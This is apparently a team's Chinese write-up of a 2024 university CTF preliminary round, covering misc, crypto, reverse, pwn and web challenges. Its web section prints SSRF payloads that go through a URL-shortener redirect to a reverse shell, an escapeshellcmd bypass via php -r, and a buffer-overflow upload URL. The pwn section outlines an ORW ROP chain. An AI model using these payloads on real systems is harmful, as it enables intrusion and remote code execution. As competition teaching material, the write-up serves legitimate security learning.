2024全国大学生信息安全竞赛初赛WP-Yulin
2024全国大学生信息安全竞赛初赛WP-Yulin
战队名称:Yulin
战队排名:全国24名,赛区第5名
MISC
火锅游戏
签到题,正确作答即可,图片会旋转没蚌住
flag{y0u_ar3_hotpot_K1ng}
Power Trajectory Diagram
观察可得在密码输入正确的时候波谷会有一个较大的偏移
1 | from collections import Counter |
然后找出每个序列的波谷,全部打印出来直接看下标
1 | for i in range(len(trace_data)): |
可得序列[36, 42, 88, 138, 162, 213, 276, 308, 346, 388, 430, 476]
然后输出对应的字符
1 | x = [36, 42, 88, 138, 162, 213, 276, 308, 346, 388, 430, 476] |
神秘文件
- 右键属性,cyberchef-Bifid cipher,输出转Base64,Part1:flag{e
- 找到ppt/embeddings/Microsoft_Word_Document.docx,然后解压,找到/word/document.xml,凯撒-B64,part2:675efb
- 用oledump.py,命令
python .\oledump.py -v .\attachment.pptm
查看代码块
然后python .\oledump.py -s A5 -v .\attachment.pptm
,得到代码
1 | Sub crypto(sMessage, strKey) |
问GPT,GPT说是RC4,直接cyberchef,RC4(Input选Base64),PArt3:3-34
- 第三页,UGF5dDQ6NmYtNDA=,Base64解码,Payt4:6f-40
- 第五页备注,N B64,pArt5:5f-90d
- 第五页最上面,B64,ParT6:d-2
- /ppt/slides/slide4.xml,ROT13-B64,PART7=22b3
- /ppt/slideLayouts/slideLayout2.xml,然后回到PPT搜索:cGFSdDg6ODdl,自动跳转到对应页面,B64,paRt8:87e
- ppt\media\image53.jpg B64,那是个小写l,parT9:dee
- 解压PPTM,ppt/comments/comment1.xml,维吉尼亚密码-B64,PARt10:9}
Tough_DNS
GPT写的臃肿的提取二进制生成二维码的代码
1 | # 示例使用 |
查看DNS报文,Answers里面的TXT携带了数据
然后是GPT写的臃肿的提取十六进制的代码
1 | from scapy.all import * |
可以提取出来一个压缩包和一个未知加密文件
用二维码扫出来的密码解密压缩包,得到一个gpg文件
该文件的密钥藏在题干中,56 16 26 93 66 53 16 56 d2 03 26 93 56
,cyberchef Reverse两次拿到密钥
然后先导入密钥再解密
1 | gpg --import secret.gpg |
通风机
下载附件,.mwp文件,安装STEP 7-Micro
尝试打开附件,提示无法识别,创建一个新的mwp文件,对比后发现缺少文件头
在开头加入47 4A 4B
,再次打开
在符号表-用户定义中找到Flag,Base64解码
p&p
用JEB反编译一下wasm,然后在start里面找到和flag有关的函数
还可以用wabt辅助一下理解
../wasm-decompile vuln.wasm > vuln.cxx
1 | function stack_based_buffer_overflow() { |
分析函数__f13
和__f14
首先,让我们看一下__f13
和__f14
函数的实现及其操作顺序。
1 | c |
栈和内存布局
__f13
函数通过调整栈指针__g0
来管理内存。
v0 = __g0 - 144
:减去144来为当前函数分配栈空间。__g0 -= 144
:更新全局栈指针,预留144字节空间。(int
)((int)&gvar_10 + v0) = v0 + &gvar_20
:将v0 + &gvar_20
保存到v0 + &gvar_10
位置。
然后它调用几个函数并传递不同的内存位置:
__f74
:读取输入。__f44
:执行某些操作。__f38
:输出格式化字符串。
函数__f13
在读取输入时没有边界检查。因此,如果输入的数据超过了预留的缓冲区大小(这里是v0 + &gvar_20
到v0 + 144
的空间),将会导致缓冲区溢出。
第一个输入将会覆盖v0 + &gvar_10
,随后的输入将会覆盖其他的内存区域,包括v0
的栈空间。
假设file.txt
的位置在v0 + 164
处,当输入长度超过144字节时,就有可能覆盖file.txt
的位置。
164个字符刚好可以写入file.txt,因为字符限制,因为可读取目录只有static/,static/a恰好8个字节,写入static/a,
payload:
1 | http://ip/upload?name=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaastatic/a |
盗版软件
更改内存文件后缀为.data,用Gimp打开调整偏移得到域名winhack.com
运行winhack.exe,在目录下生成了.ss,查看output,比原图片明显偏红
stegsolve提取一下r通道,可以发现应该是有一个ZIP压缩包
隔项提取出来zip文件
1 | def extract_alternate_bytes(input_file, output_file): |
然后Base85解码,保存一下文件
然后把shellcode丢到沙箱里面
最后合起来md5即可
Crypto
hash
开始发现是在python2,在此版本下对同个值不同程序运行hash函数得到的hash值是一样的,是可被预测的。历经千难万险,终于找到了默认hash函数对应的函数内容
1 | l=64 |
根据此函数分析,原始的key只有7字节,可以利用中间人攻击,先对前三个字节做正向变换建立字典。在对后四个字节做逆向变换,判断是否在字典内,以下是脚步
1 | import random |
OvO
根据题目代码可知,e主要是有(k+2)pq决定的,因此直接用给定的e去整除n可以得到大概的k,在根据e-(k+2)pq的范围小于2^512,可以得到精确的k,于是我们可以得到(2k+2)p+(k+2)q的值,误差在2^200,做变换x=(2k+2)p,y=(k+2)q,在对n变换(2k+2)p(k+2)q,于是可以有x+y和xy,利用二元一次方程求根公式,可以得到大概的p值,误差在2^75,此时就是简单的已知p高位,分解n了。直接利用铜匠攻击(在该脚本中对应small_roots函数)来求解。脚本如下
1 | n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967 |
ezrsa
首先根据题目条件,要先得到pem的内容,由于passphrase是一个小于999999的整数,所以直接爆破passphrase,得到passphrase=483584
1 | for i in range(999999,999999+1): |
然后根据自己生成的和题目类似的原pem文件和模糊后的pem文件分析信息,于是得到n,e,qinv,dq的低48位
1 | 3082025c 020100 028181 00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81 0203010001 6a033064c5a0dffc 8f2363b340e5 0240 5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d |
接下来利用一个等式qinvq^2-q=0 (mod n),由qinvq-1=0 (mod p)变换得到。为了充分利用dq的低48位,于是利用等式edq=k(q-1)+1,变换为kq=e(dh+dl)-1+k
于是qinv(kq)^2-k*q=0 (mod n),dl已知,dh是未知变量,爆破k利用铜匠攻击得到dh,进而得到p,q,来得到明文
1 | #sage脚本 |
古典密码
flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}
查看给出的密码格式AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9
结果flag一定是有大括号的,结合格式推测会有base。
固定base64,上面轮换找到Atbash可行,结果一个栅栏就好了。
Reverse
asm_re
手撕汇编(贴个脚本,汇编直接问GPT,他会给出同等C语言实现,倒着算回去就行
1 | // 进行一系列运算 |
gdb_debug
1 | #include<stdio.h> |
rd1,rd2和ptr都是由播种的为随机数生成,qg是一段字符串。程序逻辑先将flag与rd1异或,再使用ptr来交换次序,最后再使用rd2和qg来异或,结果为congratulationstoyoucongratulationstoy。
解密逻辑将这个过程反过来即可。
whereThel1b
ida逆向so库,可以每三位进行爆破,使用trytry来加密,将加密结果的对应位与密文进行对比即可爆破出flag。
1 | import whereThel1b |
PWN
EzHeap
- 查看有无沙箱保护:限制了只能使用read,write,open:
因此需要构建syscall和gadget,从libc当中获取后,构造ropchain:
- 打开文件(
**open**
):pop rdi; ret
设置第一个参数为文件路径./flag
的地址。pop rsi; ret
设置第二个参数为0
(只读模式)。pop rax; ret
设置系统调用号为2
(SYS_open
)。syscall
触发系统调用open
。
- Read File (
**read**
):pop rax; ret
设置系统调用号为0
(SYS_read
)。pop rdi; ret
设置文件描述符为3
(返回的文件描述符)。pop rdx; pop rbx; ret
设置第三个参数为0x30
(读取的字节数)。pop rsi; ret
设置第二个参数为内存地址(缓冲区)。syscall
触发系统调用read
。
- Write to Standard Output (
**write**
):pop rax; ret
设置系统调用号为1
(SYS_write
)。pop rdi; ret
设置第一个参数为1
(文件描述符 stdout)。pop rsi; ret
设置第二个参数为内存地址(缓冲区地址)。syscall
触发系统调用write
。
- 打开文件(
堆利用由于glibc的版本较高(2.35),考虑使用tcache+fake_IO进行泄露提取。
- 步骤如下:创建多个大小为
0x20
的 chunk 并填满tcache
;创建并释放较大的 chunk,这些 chunk 会进入unsorted bin
。创建多个堆块,删除一个放入tcache。修改chunk0写入进行泄露,可泄露时堆状态如下:
之后多次伪造,泄露heap地址和与
environ
相关的chunk。最终借助chunk4泄露stack地址。变化如下:- Chunk 0: 多次被编辑,大小变化为
0x1f8 -> 0x501 -> 0x401 -> 0x4e1
。 - Chunk 1: 初始大小为
0x4f0
,被删除并重新分配。 - Chunk 2: 大小为
0x1f8
,未修改。 - Chunk 3: 大小为
0xf0
。 - Chunk 4: 大小为
0x10
,用于泄露栈地址。 - Chunk 5: 大小为
0x10
。 - Chunk 6: 大小为
0x10
。
- Chunk 0: 多次被编辑,大小变化为
EXP如下:
1 | #!/usr/bin/env python3 |
WEB
easycms
得知迅瑞CMS,卡题至放出提示。
得到提示
随后可以猜测出类似于SSRF的利用。
下载源码:
猜测关键点:curl/http
搜索查到dr_catcher_data
结合搜索到的文章https://xz.aliyun.com/t/10002
api目录下搜索:dr_catcher_data
二维码是一个利用点:
1 | /index.php?s=api&c=api&m=qrcode&thumb=http://localhost:8082/flag.php?cmd=&text=123466 |
尝试失败发现严重限制127.0.0.1,使用短网址https://tinyurl.com/做302跳转
safe.taobao.com(127.0.0.1)反弹shell即可
1 | http://safe.taobao.com/flag.php?cmd=bash -c '{echo, }|{base64,-d}|{bash,-i}' |
生成短网址
填入构造payload
1 | /index.php?s=api&c=api&m=qrcode&thumb=https://tinyurl.com/mv9uak7x&text=123466 |
easycms_revenge
原payload打不通了,试了下,不会重定向了,但是也没审计出别的入口。昨天我猜测dr_catcher_data整个函数处发生过滤,经过很久的审计都没有发现结果,再结合网页断点在“不是一张可用图片”,今天我们猜测实际上过滤在getimagesize上!昨天触发是因为getimagesize过滤不完全而不是dr_catcher_data处发生过滤:
于是巧妙绕过两次请求
一次返回图片一次返回重定向即可绕过getimagesize,在第二次进行重定向攻击:
1 | <?php |
Simple_php
源码
1 | <?php |
卡了好久,最大的问题是escapeshellcmd把很多特殊符号都转义了。后来突然意识到,既然它转义了特殊字符,那是不是意味着不用引号也能够在shell中将特殊符号作为字符串?
在这个思路下,可以使用php -r 来执行命令:
1 | php -r system(hex2bin( |
使用定界符EOF来获取原始数据流,从而绕过引号。
连上之后一看根目录,也没有flag啊?环境变量里也没有。ps aux一下,发现环境中存在mysql应用,尝试连接。试了几个弱口令,别的都会access deny,唯独root会像卡死一样,多试了几次发现可能是mysql的输出没有被重定向?
总之,mysql的查询只能看到报错,后来发现报错之后能看到之前查询的结果,看来应该是linux的流的管理有点问题,导致mysql正常查询的输出结果缓存了?(猜的)
就先这样查着吧。
payload:
1 | select group_concat(schema_name) from information_schema.schemata; |
其中asd;的作用是报错带出查询结果。
mossfern
1 | print(randrange(1, 10, 2)) |
参考文章内容,获取到生成器的栈帧,使用f_back获取上一个栈帧为runner.py中exec所执行的代码的栈帧,再取上一个栈帧即为runner.py进程的栈帧,从中即可获取到runner.py的code对象,从中获取到其所用常量元组,即可得到flag。
最后对字符串的检查随便绕过即可。